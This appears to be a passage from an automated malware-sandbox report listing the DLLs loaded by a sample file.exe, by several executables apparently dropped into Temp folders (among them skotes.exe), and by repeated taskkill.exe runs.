Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
